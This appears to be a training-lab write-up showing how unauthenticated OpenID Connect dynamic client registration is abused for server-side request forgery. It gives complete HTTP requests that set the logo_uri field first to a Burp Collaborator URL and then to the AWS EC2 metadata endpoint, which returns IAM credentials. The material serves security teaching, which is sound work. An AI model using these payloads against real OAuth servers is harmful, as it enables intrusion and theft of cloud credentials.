This lab demonstrates how **dynamic client registration** in an OpenID Connect (OIDC) service can be abused to perform a **server-side request forgery (SSRF)** attack. By controlling the `logo_uri` field during registration, we can make the OAuth server fetch arbitrary URLs — in this case, the AWS EC2 metadata service — to steal cloud credentials. --- #### 1. Understanding the Vulnerability * **Feature**: OpenID Connect supports **Dynamic Client Registration** so apps can register themselves without manual approval. * **Problem**: Some metadata fields like `logo_uri` are fetched server-side without validation. * **Impact**: An attacker can force the OAuth server to make HTTP requests to internal endpoints (SSRF). * **Target**: The AWS EC2 metadata service at `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`. --- #### 2. Reconnaissance 1. Logged in as `wiener:peter`. 2. Retrieved the OpenID configuration: ``` GET /.well-known/openid-configuration ``` Found: ``` "registration_endpoint": "https://oauth-<server>.oauth-server.net/reg" ``` 3. Confirmed **unauthenticated** client registration works with: ```http POST /reg HTTP/1.1 Host: oauth-<server>.oauth-server.net Content-Type: application/json { "redirect_uris": ["https://example.com"] } ``` Response returned a `client_id`. ![[CleanShot 2025-08-15 at [email protected]]] --- #### 3. Identifying the SSRF Sink * The consent **Authorize** page displays the registered app’s logo, fetched from: ``` GET /client/CLIENT-ID/logo ``` * According to OIDC specs, `logo_uri` can be set during registration and will be fetched server-side. * This makes `logo_uri` an SSRF injection point. --- #### 4. Proof-of-Concept SSRF 1. Registered a new client with a **Burp Collaborator URL**: ```http POST /reg HTTP/1.1 Host: oauth-<server>.oauth-server.net Content-Type: application/json { "redirect_uris": ["https://example.com"], "logo_uri": "https://<COLLABORATOR-ID>.burpcollaborator.net" } ``` 2. Requested: ``` GET /client/<NEW-CLIENT-ID>/logo ``` 3. Confirmed the OAuth server made a request to Collaborator (SSRF confirmed). --- #### 5. Exploiting SSRF to Steal AWS Credentials 1. Modified the registration request: ```http POST /reg HTTP/1.1 Host: oauth-<server>.oauth-server.net Content-Type: application/json { "redirect_uris": ["https://example.com"], "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" } ``` 2. Copied the new `client_id` from the response. 3. Requested: ``` GET /client/<NEW-CLIENT-ID>/logo ``` ![[CleanShot 2025-08-15 at [email protected]]] 4. Response contained AWS instance credentials, including the **Secret Access Key**. ![[CleanShot 2025-08-15 at [email protected]]]